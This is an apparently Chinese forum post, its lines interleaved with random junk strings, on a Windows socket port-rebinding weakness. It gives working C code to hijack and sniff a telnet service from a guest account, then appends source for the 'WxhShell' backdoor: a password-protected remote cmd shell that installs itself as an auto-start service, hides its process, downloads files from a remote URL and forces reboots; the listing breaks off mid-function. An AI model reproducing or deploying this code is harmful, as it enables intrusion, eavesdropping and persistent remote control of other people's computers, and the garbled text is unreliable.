在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
k7W8$8v s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
|y'q`cY (\R"v^ saddr.sin_family = AF_INET;
#lVVSrF,- C t SAo\F saddr.sin_addr.s_addr = htonl(INADDR_ANY);
yobi$mnsy! g]d"d bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
_&w!JzpXT oN _%oc 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Jge;/f!i s` S<BX7 这意味着什么?意味着可以进行如下的攻击:
QL\'pW5 BwBv'p+n 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
ied<1[~S .)W8
U [ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
|`O7>(h l_}c[bAUu 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
((?^B
_wHqfj) 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
3d,|26I 7f "HYK~V 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Y+G4: IPT}JX' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
e| kYu[^ 74Kl!A 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
^rxXAc[ ?^@;8m #include
HWs?,AJNxB #include
>eU;lru2Q #include
x&?35B
i #include
khEHMvVH DWORD WINAPI ClientThread(LPVOID lpParam);
rP>5OLP int main()
%Y!lEzB5 {
Ig9$ PP+3 WORD wVersionRequested;
fCF9 3,?$ DWORD ret;
5$O@+W!?@ WSADATA wsaData;
pWQ?pTh BOOL val;
KD#ip3 SOCKADDR_IN saddr;
D%BV83S SOCKADDR_IN scaddr;
h7%< int err;
8cW]jm SOCKET s;
p_mP' SOCKET sc;
Pu}2%P)p int caddsize;
/h HANDLE mt;
&{7%VsTB DWORD tid;
=MoPOib\n wVersionRequested = MAKEWORD( 2, 2 );
;%Z)$+Z_)< err = WSAStartup( wVersionRequested, &wsaData );
TT29LC@ if ( err != 0 ) {
="XxS|Mq3 printf("error!WSAStartup failed!\n");
:@n e29,} return -1;
uS<&$JH }
*!B,|]wq= saddr.sin_family = AF_INET;
/oh[Nu1D K{"+eA>CU //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
jgukW7H `A?/Ww>; saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
5 kQC saddr.sin_port = htons(23);
/pV^w if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
X4 xnr^ {
Nhuw8Xv printf("error!socket failed!\n");
539[,jH return -1;
Y2Y/laD }
G;`+MgJ) val = TRUE;
Xi$uK-AHpj //SO_REUSEADDR选项就是可以实现端口重绑定的
tX6n~NJ$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
(?oK+,v?L {
a^|mF#
z printf("error!setsockopt failed!\n");
Pq !\6s@ return -1;
9'T
nR[> }
(AV j_Cw //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
&Q 3!ty //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
7!z0)Ai_>= //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Sh=z 'V } -0 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
dd_n|x1 {
Wc#4%kT ret=GetLastError();
N9idk}T printf("error!bind failed!\n");
Pv/$;R% return -1;
X`#vH8 }
kwWDGA?zFB listen(s,2);
ioz4kG! while(1)
:[,-wZiT~6 {
PkMN@JS caddsize = sizeof(scaddr);
f{G
^b&x //接受连接请求
z'j4^Xz?%$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
RMDzPda. if(sc!=INVALID_SOCKET)
xrf z-"n4 {
?7*.S Lt mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
iTwb#Q= if(mt==NULL)
4ba[*R2 {
/&_$+Iun printf("Thread Creat Failed!\n");
J>TNyVaoQ break;
nD{o8; }
eD4X:^@ }
#Ipi 3 CloseHandle(mt);
<Y:{>= }
Y;-$w|&P> closesocket(s);
whxTCI V WSACleanup();
2Jo|]>nl}u return 0;
)%dxfwd6 }
g]vo."}5E DWORD WINAPI ClientThread(LPVOID lpParam)
L
4V,y> {
3K!(/,` SOCKET ss = (SOCKET)lpParam;
($'W(DH4 SOCKET sc;
,)@njC?J unsigned char buf[4096];
+saXN6 SOCKADDR_IN saddr;
g[';1}/B4 long num;
1o`zAJ8|2 DWORD val;
R-LMV DWORD ret;
xsu9DzPf&{ //如果是隐藏端口应用的话,可以在此处加一些判断
& %A&&XT9 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
,cE yV74 saddr.sin_family = AF_INET;
4P jC[A* saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
%e^GfZ saddr.sin_port = htons(23);
ORuC(" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
o=J-Ju {
ZP{<f~; printf("error!socket failed!\n");
DK)T2{: return -1;
5(>SFxz"t }
M8nfbc^ val = 100;
VWq]w5oQO if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<aztbq? {
I+=+ ,iXhB ret = GetLastError();
&^2SdF return -1;
"i#aII+T }
-M/j&<;LW if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<Pzy'9 {
n,U?]mr ret = GetLastError();
!iO2yp return -1;
?4A/?Z]ub }
sSd/\Ap if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
.G.WPVE {
_j+!Fd printf("error!socket connect failed!\n");
Ve2{;`t closesocket(sc);
F+"_] closesocket(ss);
/>Q}0Hg return -1;
(+c1 .h }
!_vxbfZO while(1)
d]poUN~x {
7:,f|> //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
OvAhp&k //如果是嗅探内容的话,可以再此处进行内容分析和记录
AHRJ7l;a //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
/a'1W/^2 num = recv(ss,buf,4096,0);
jUE gu if(num>0)
&\1n=y send(sc,buf,num,0);
MjU|XQS: else if(num==0)
=*&[K^ break;
O&1qL) num = recv(sc,buf,4096,0);
yVII<ImqIH if(num>0)
12a`,~ send(ss,buf,num,0);
?u|@,tQ[ else if(num==0)
#obRr#8 break;
=}vT>b }
MC* Hl`C closesocket(ss);
&'SD1m1P closesocket(sc);
7~SwNt, return 0 ;
$P=C7; }
1h&`mqY)L. fC[za,PXaE OvtE)ul@ ==========================================================
L-T,[;bl |M7cB$y 下边附上一个代码,,WXhSHELL
1Y|a:){G Y3Fj3NwS ==========================================================
O\6U2b~ {%f{U"m #include "stdafx.h"
6RnzT d q.c)>=!. #include <stdio.h>
xWxc1tT` #include <string.h>
TxX =(7V #include <windows.h>
x@t?7 o\& #include <winsock2.h>
_y@].G #include <winsvc.h>
1z?}'&: #include <urlmon.h>
)th[fUC( +!/ATR%Uci #pragma comment (lib, "Ws2_32.lib")
qhEv6Yxfw6 #pragma comment (lib, "urlmon.lib")
'+`[)w V)j[`,M: #define MAX_USER 100 // 最大客户端连接数
QO2cTk
m #define BUF_SOCK 200 // sock buffer
Jsz!ro #define KEY_BUFF 255 // 输入 buffer
w&q[%(G_ =~B"8@B #define REBOOT 0 // 重启
}yz>(Pq #define SHUTDOWN 1 // 关机
q,vWu(. 5E&#Kh(I #define DEF_PORT 5000 // 监听端口
Yc:%2KZ" n0xGIq #define REG_LEN 16 // 注册表键长度
qCV<-o #define SVC_LEN 80 // NT服务名长度
Vw;Z0_C 9a}9cMJ^" // 从dll定义API
3v/B*M VI typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
54gr'qvr typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
KK){/I=z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
tyu@aCK typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
9iA rBL" ?sf<cFF // wxhshell配置信息
\N,ox(f?gW struct WSCFG {
-V2\s int ws_port; // 监听端口
NRi5 Vp2= char ws_passstr[REG_LEN]; // 口令
%rzPh<>e int ws_autoins; // 安装标记, 1=yes 0=no
b/wpk~qi char ws_regname[REG_LEN]; // 注册表键名
E}@C4pS char ws_svcname[REG_LEN]; // 服务名
g.lTNQm$u char ws_svcdisp[SVC_LEN]; // 服务显示名
]A*}Dem*5 char ws_svcdesc[SVC_LEN]; // 服务描述信息
,T$ts char ws_passmsg[SVC_LEN]; // 密码输入提示信息
*g/klK int ws_downexe; // 下载执行标记, 1=yes 0=no
i0vm00oT char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
#z\ub5um char ws_filenam[SVC_LEN]; // 下载后保存的文件名
;]{ee?Q^ld oQ$yr^M };
Lc3&\q
e (WM3(US| // default Wxhshell configuration
oBzl=N3< struct WSCFG wscfg={DEF_PORT,
2jsbg{QS#_ "xuhuanlingzhe",
jvzioFCt 1,
p"g|]@m "Wxhshell",
N[%u>! "Wxhshell",
GG}% "WxhShell Service",
'xwCeZcg "Wrsky Windows CmdShell Service",
}^
rxsx` "Please Input Your Password: ",
$[gN#QW% 1,
uO?+vYAN "
http://www.wrsky.com/wxhshell.exe",
).T&fa" "Wxhshell.exe"
']_2@<XW) };
g3R(,IH S;|:ci<[= // 消息定义模块
$3-vW{< char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
<`H0i*|Ued char *msg_ws_prompt="\n\r? for help\n\r#>";
}z3j7I char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
9!FX*}dC char *msg_ws_ext="\n\rExit.";
l$42MRi/ char *msg_ws_end="\n\rQuit.";
1!#85SMx char *msg_ws_boot="\n\rReboot...";
x7j#@C char *msg_ws_poff="\n\rShutdown...";
Lb*KEF% s char *msg_ws_down="\n\rSave to ";
3DU1c?M: `Q]N]mK char *msg_ws_err="\n\rErr!";
-YRIe<}E - char *msg_ws_ok="\n\rOK!";
Z;BS@e N8<J'7% char ExeFile[MAX_PATH];
%fS9F^AK int nUser = 0;
)>volP HANDLE handles[MAX_USER];
i\R0+O{ int OsIsNt;
g=*jKSZ 0I}e>]:I SERVICE_STATUS serviceStatus;
sZ;|NAx) SERVICE_STATUS_HANDLE hServiceStatusHandle;
96=<phcwN[ u9lZHh#V- // 函数声明
7[m?\/K~ int Install(void);
iD^,O)b int Uninstall(void);
c9(3z0!F? int DownloadFile(char *sURL, SOCKET wsh);
/{M<FVXK+| int Boot(int flag);
i"{O~[ void HideProc(void);
)rc!irac] int GetOsVer(void);
>{#JIG. int Wxhshell(SOCKET wsl);
|tXA$}"L8 void TalkWithClient(void *cs);
N Ob`)qb int CmdShell(SOCKET sock);
qJey&_ int StartFromService(void);
Rr) 5[ int StartWxhshell(LPSTR lpCmdLine);
MKK ^-T B(Sy.n VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
[Nyt0l "z VOID WINAPI NTServiceHandler( DWORD fdwControl );
AGBV7Kk MP]<m7669* // 数据结构和表定义
,_z79tC{s SERVICE_TABLE_ENTRY DispatchTable[] =
`Sod]bO
+U {
`e[S Zj\ {wscfg.ws_svcname, NTServiceMain},
6FS%9.Ws {NULL, NULL}
[%W'd9`> };
sdp&D@ 1wSAwpz // 自我安装
A5l Cc
b int Install(void)
&@=Jm
/5 {
PKm|?kn{0( char svExeFile[MAX_PATH];
05UN
<l] HKEY key;
OL'Ito strcpy(svExeFile,ExeFile);
tV}!_ C@M-_Ud>Q // 如果是win9x系统,修改注册表设为自启动
>.:+|Br` if(!OsIsNt) {
*k?:k78L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
lu utyK! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`/|
*u RegCloseKey(key);
oFk2y ^>u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
l;8t%JV5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
r>mBe;[TX RegCloseKey(key);
{v={q1 return 0;
"be\%W+< }
*v<f#hB" }
I8#2+$Be+@ }
|x[I!I7.F else {
"2%z;!U1 4&)sROjV= // 如果是NT以上系统,安装为系统服务
vHaM yA- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
"8za'@D"f if (schSCManager!=0)
X$};K\I {
y<`5 SC_HANDLE schService = CreateService
pwSgFc$z (
4P{|H schSCManager,
8 t+eu O wscfg.ws_svcname,
79DNNj~ wscfg.ws_svcdisp,
nnlj# SERVICE_ALL_ACCESS,
DYX{v`>f^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Bc>j5^)8w SERVICE_AUTO_START,
O>`k@X@9/ SERVICE_ERROR_NORMAL,
Omd; svExeFile,
RhYe=Qh4{p NULL,
zDFNx:h NULL,
Y1r$;;sH NULL,
=%_=!% NULL,
N2:Hdu: NULL
FgdnX2s J );
"LlpZtw if (schService!=0)
,fjY|ip {
+!).' CloseServiceHandle(schService);
Q0A4} CloseServiceHandle(schSCManager);
n"iS[uj, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
bPsvoG strcat(svExeFile,wscfg.ws_svcname);
@&T' h}|: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
q<AnWNheE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
_hnsH
I!oD RegCloseKey(key);
:.PA(97xb return 0;
XtCIUC{r, }
FNGa4 }
fY]"_P CloseServiceHandle(schSCManager);
aEf3hB* ~ }
eKLvBa-{@ }
x,nl PU
$ (}rTm return 1;
r8"2C# }
1dvP2E |s3;`Nxu7 // 自我卸载
=r]l"T int Uninstall(void)
f@}>:x {
Wvl~|Sx] HKEY key;
c5p,~z_Dtu %??v?M* if(!OsIsNt) {
AojL4H| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
MKbcJZe RegDeleteValue(key,wscfg.ws_regname);
F{mUxo#T RegCloseKey(key);
lIyMNw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
@ ]u@e4T RegDeleteValue(key,wscfg.ws_regname);
GR|\OJ<2 RegCloseKey(key);
?I]AE&4' return 0;
aOvqk ^ }
*iB&tWv }
P'wo+Tn* }
y`9#zYgqA else {
+'8a>K^ (IV\sY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ZH~bY2^; if (schSCManager!=0)
b |:Y3_> {
nlpEkq SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
=%8 yEb*5# if (schService!=0)
FS}b9sQ) {
/KvJjt'8 if(DeleteService(schService)!=0) {
;6 @sC[ CloseServiceHandle(schService);
I^EZ s6~ CloseServiceHandle(schSCManager);
'goKYl#1Q return 0;
yH('Vl }
4T3Z9KD!8 CloseServiceHandle(schService);
8XJi }YPQ }
Jqb~RP~ CloseServiceHandle(schSCManager);
A6[FH\f }
k.C&6*l!5; }
j7)mC4o:% dQT[pNp: return 1;
xc*a(v0 }
g8cBb5(L umns*U%T; // 从指定url下载文件
*%/O (ohs@ int DownloadFile(char *sURL, SOCKET wsh)
-i?gYF!G {
e".=E;o` HRESULT hr;
tAq0Z) char seps[]= "/";
gy@=)R/~ char *token;
,KJHY m=Q char *file;
s! 2[zJ19p char myURL[MAX_PATH];
;N#}3lpLqg char myFILE[MAX_PATH];
U',C-56z ^R:&c;&, strcpy(myURL,sURL);
.v(GVkE} token=strtok(myURL,seps);
^vMlRt; while(token!=NULL)
{U2AAQSa {
4GP?t4][ file=token;
dV[G-p
token=strtok(NULL,seps);
_{c_z*rM8 }
Uj;JN}k PwW$=M{\. GetCurrentDirectory(MAX_PATH,myFILE);
}$z(?b strcat(myFILE, "\\");
8Azh&c strcat(myFILE, file);
( mp send(wsh,myFILE,strlen(myFILE),0);
k JmwR send(wsh,"...",3,0);
hYpxkco"4' hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
nHm29{G0 if(hr==S_OK)
C W#:' return 0;
+r'&6Me! else
>=97~a+. return 1;
C*ep8{B _^Q!cB'~/` }
lv=q( & x)=l4A\ // 系统电源模块
7YD+zd: int Boot(int flag)
FbroI>" e {
a%.W9=h=M( HANDLE hToken;
hy~[7:/<I& TOKEN_PRIVILEGES tkp;
[hSJ)IZh UB5H8&Rf! if(OsIsNt) {
}?,YE5~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
D&pn@6bB LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
r<fcZ)jt| tkp.PrivilegeCount = 1;
xgMh@@e tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
;Tnid7:S AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Fc@R,9 if(flag==REBOOT) {
g
ptf*^s if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
"x9yb0 return 0;
;+XrCy!.)L }
nrMW5>&-` else {
WfaMu|
L if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
0&sa#g2 return 0;
V3ozaVk; }
}},0#Ap }
=gI41Y] else {
r|UJJ9i if(flag==REBOOT) {
chL1r9V)v if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
g8uqW1E^ return 0;
>fWGiFmlk }
3bWGWI else {
6Yn>9llo}= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
J{b#X"i return 0;
]Z5m_-I }
Q//
@5m_ }
c+3`hVV '(@q"`n return 1;
':pDlUA }
~BuzI9~7P w@^J.7h^ // win9x进程隐藏模块
Cd)g8< void HideProc(void)
|gI>Sp%Fu {
Fge%6hu 7 2JwG7qh HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
3S3(Gl if ( hKernel != NULL )
pFY*Y>6ar {
je^VJ&ac pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
^g*Sy, A ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
D/Ki^E FreeLibrary(hKernel);
l%2VA }
J[:#(c&c!1 R 9`[C return;
ISC>]` }
&zF>5@fM cEu_p2(7!B // 获取操作系统版本
V\zcv @ int GetOsVer(void)
"O>~osj {
I>FL&E@K OSVERSIONINFO winfo;
m8F$h- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
]|g2V
a~- GetVersionEx(&winfo);
"}Om0rB}1 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,;}
return 1;
IW!x!~e else
^WB[uFt- return 0;
"qq$i35x }
h@R n)D *d C| X // 客户端句柄模块
$a~ int Wxhshell(SOCKET wsl)
m+'1c}n^7 {
*,G<X^ SOCKET wsh;
c;]\$#2 struct sockaddr_in client;
KX~
uE6rX DWORD myID;
9ia&/BT7"z gS<p~LPf while(nUser<MAX_USER)
h>!h|Ma {
CbM~\6R int nSize=sizeof(client);
>I@&"&d wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
|.Vgk8oTl if(wsh==INVALID_SOCKET) return 1;
B bmw[Qf\ }Q: CZ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
*Hn=)q if(handles[nUser]==0)
}}k%.Qb closesocket(wsh);
JvXuN~fI{[ else
cZN<}n+q nUser++;
O:GP uVb\ }
t8RtJ2; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
v+x<X5u Pxf>=kY return 0;
bMc[0 }
!q$VnqFk +Iuu8t // 关闭 socket
vh.8m$, void CloseIt(SOCKET wsh)
l\L71|3" g {
g0B-<>E closesocket(wsh);
2gK]w$H7! nUser--;
ILDO/>n ExitThread(0);
C1f$^N }
AB%i|t R(0[bMr3Q // 客户端请求句柄
pSQX void TalkWithClient(void *cs)
a :*N0 {
tOVTHx3E] >{Ayzz>v SOCKET wsh=(SOCKET)cs;
r
ts2Jk7f char pwd[SVC_LEN];
>.UEs8QV char cmd[KEY_BUFF];
&zgliT!If char chr[1];
pFd{Tdh int i,j;
y`m0/SOT u `w w while (nUser < MAX_USER) {
rhOxyY0 &&$*MHJ if(wscfg.ws_passstr) {
umuj> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
KU"+i8" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
D@X"1X!F`G //ZeroMemory(pwd,KEY_BUFF);
O=} i=0;
5hEA/G while(i<SVC_LEN) {
]Z UE ! B7qi|Fw // 设置超时
vt"bB fd_set FdRead;
rgXX,+cO struct timeval TimeOut;
<J~6Q FD_ZERO(&FdRead);
])qnPoQ<n FD_SET(wsh,&FdRead);
IN6L2/Q TimeOut.tv_sec=8;
CEkf0%YJ TimeOut.tv_usec=0;
A]QGaWK int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
jK\kASwG if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
bRFZ:hu l ;L76V$& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ShtV2}s| pwd
=chr[0]; |2TH[J_a
if(chr[0]==0xd || chr[0]==0xa) { )X *_oH=
pwd=0; Zd)LVc[
break; Q>X1 :Zn3
} ?gAwMP(>
i++; c<q33dZ!*
} $pPc}M[h
:Id8N~g
// 如果是非法用户,关闭 socket {LKW%G7
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LhF;A~L
} &sn-;r
Sh5m+>7K
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JC$_Pg!
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DcRoW
ZBK)rmhMx
while(1) { "kc%d'c(
C.u)2[(
ZeroMemory(cmd,KEY_BUFF); {J)gS
u1'l4VgT
// 自动支持客户端 telnet标准 P_Gu~B!Y
j=0; 1'&HmBfcb
while(j<KEY_BUFF) { hE\gXb
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |P9Mhf N
cmd[j]=chr[0]; q2Sc{E>[
if(chr[0]==0xa || chr[0]==0xd) { n|.>41bJ
cmd[j]=0; lUnC+w#[
break; W`#E[g?]
} |gk"~D
j++; Lrt~Q:z2u
} FgP{
P|f h4b4
// 下载文件 K.? S,qg
if(strstr(cmd,"http://")) { Y)S
f;
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5@bmm]
if(DownloadFile(cmd,wsh)) R6GlQ G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C?g*c
else 44B9JA7u
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
|M?VmG/6
} n#P?JyGm1g
else { oB!-JX9
Z2]\k|%<Fa
switch(cmd[0]) { ;,KT+!H$
cKwmtmwB
// 帮助 Q;z'"P
case '?': { d\ 7OtM
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =p8iYtI
break; NU7k2`bqAk
} m0Uk*~Gz
// 安装 >o"0QD
case 'i': { SV1;[
if(Install()) y.Yni*xt/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )4w3$Q
else n3hlo@gYW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;ejtP #$
break; i[e-dT:*R
} 59_VC('
// 卸载 -A"0mS8L
case 'r': { w4uY/!~k
if(Uninstall()) q+67Wc=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +227SPLd
else c=:A/z{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S)@) @3
break; v kW2&
}
(Vy`u)gG
// 显示 wxhshell 所在路径 BMbZ34^e
case 'p': { }~NWOJ3;
char svExeFile[MAX_PATH]; aD?ySc}
strcpy(svExeFile,"\n\r"); XV<{tqa
strcat(svExeFile,ExeFile); .t%`"C
send(wsh,svExeFile,strlen(svExeFile),0); -~=:tn)0
break; 3%V VG~[
} 4d
@
(>
// 重启 1d~cR
case 'b': { A|0\ct
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0p \,}t\E
if(Boot(REBOOT)) HNL;s5gq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'miY"L:| O
else { JI~@H /j
closesocket(wsh); [YQ` `
ExitThread(0); vM/D7YS:
} %VzCeS9
break; qRA,-N
} =M/($PA
// 关机 y{uN+QS
case 'd': { -]vPF|
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e^Lt{/
if(Boot(SHUTDOWN)) RVe UQ%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7TGLt z
else { 9iQc\@eGd
closesocket(wsh); T! fF1cpF\
ExitThread(0); J*'#!
xIa
} >_um-w #C
break; yBwCFn.uP-
} _,9/g^<
// 获取shell w 7 j
hS
case 's': { 9"mcN3x:\e
CmdShell(wsh); q6
Rr?
closesocket(wsh); ){{]3r
ExitThread(0); Sg}]5Mn`
break; ZA/:\6gm
} cv/
// 退出 lCMU{)
case 'x': { h\qM5Qx+Q
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s+yX82Y
CloseIt(wsh); /MQI5Djg
break; Oe*+pReSD
} DU%j;`3
// 离开 8HymkL&F
case 'q': { Y^W.gGM
send(wsh,msg_ws_end,strlen(msg_ws_end),0); XT
'v7
closesocket(wsh); Q:~>$5Em5
WSACleanup(); $f^ \fa[
exit(1); `^7ARr/
break; ;\Vi~2!8
} _~b$6Nf!83
} 2m/=0sb\{
} Tp0^dZ M+
[J.-gN$X@
// 提示信息 ?3
l4U
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5+[`x']l
} 4uG:*0{Yx
} _U`_;=(
g5*Zg_G/
return; aZMMcd
} ,3`RM$
_,JdL'[d
// shell模块句柄 !@x'?+
int CmdShell(SOCKET sock) Iv5agh%
{ ?u9JRXj%
STARTUPINFO si; 'h&"xXv4|
ZeroMemory(&si,sizeof(si)); f;;(Q-.
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XfXqq[\N
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'v"{frh
PROCESS_INFORMATION ProcessInfo; /J"U`/
{4
char cmdline[]="cmd"; $0MP*TFWa
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]`2=<n;=
return 0; {u}Lhv
} k-b0Eogp]
<d\Lvo[
// 自身启动模式 Gn*vVZ@`x
int StartFromService(void) "c6(=FFq
{ kR0d]"dr
typedef struct 9(>l trA
{ Z~VSWrw3
DWORD ExitStatus; ?
D?XaRb
DWORD PebBaseAddress; :{d?B$
DWORD AffinityMask; xJ|3}o:,
DWORD BasePriority; x*A_1_A
ULONG UniqueProcessId; os]P6TFFX?
